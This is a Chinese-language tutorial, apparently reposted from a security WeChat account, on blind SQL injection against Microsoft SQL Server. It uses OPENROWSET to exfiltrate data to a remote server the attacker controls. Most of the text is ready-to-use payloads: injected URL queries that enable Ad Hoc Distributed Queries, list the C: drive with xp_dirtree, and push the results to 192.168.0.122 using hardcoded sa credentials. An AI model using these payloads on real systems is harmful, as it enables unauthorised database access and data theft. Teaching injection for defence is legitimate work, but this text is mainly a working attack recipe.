适用于盲注入,页面不返回信息 使用这种注入方法,需要一台带有sqlserver的机器。
原理就是把当前数据转发到远程的sqlserver上。
启用Ad Hoc Distributed Queries:
;exec sp_configure 'show advanced options',1 reconfigure
;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
为了安全使用完成后,关闭Ad Hoc Distributed Queries:
;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure
;exec sp_configure 'show advanced options',0 reconfigure
http://www.demo1.com/index.aspx?id=1;exec sp_configure ‘show advanced options’,1 reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure
本地建立临时表
create table ##version (VERSION varchar(500))
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()
执行上面语句之后 再来查询远程sqlserver上的表
select * from ##version
create table ##nonamed( dir ntext, num int )
http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )
insert %23%23nonamed execute master..xp_dirtree 'c:/',1
向nonamed表插入c盘下路径的数据
http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1
这里就是把数据转发到远程192.168.0.122 sqlserver上
http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed
在远程sqlserver执行这个命令 就可以获取 数据
select * from %23%23nonamed
温馨提示
如果你喜欢本文,请分享到朋友圈,想要获得更多信息,请关注我。
原文始发于微信公众号(moonsec):SQL注入基础 sqlserver openrowset转发利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论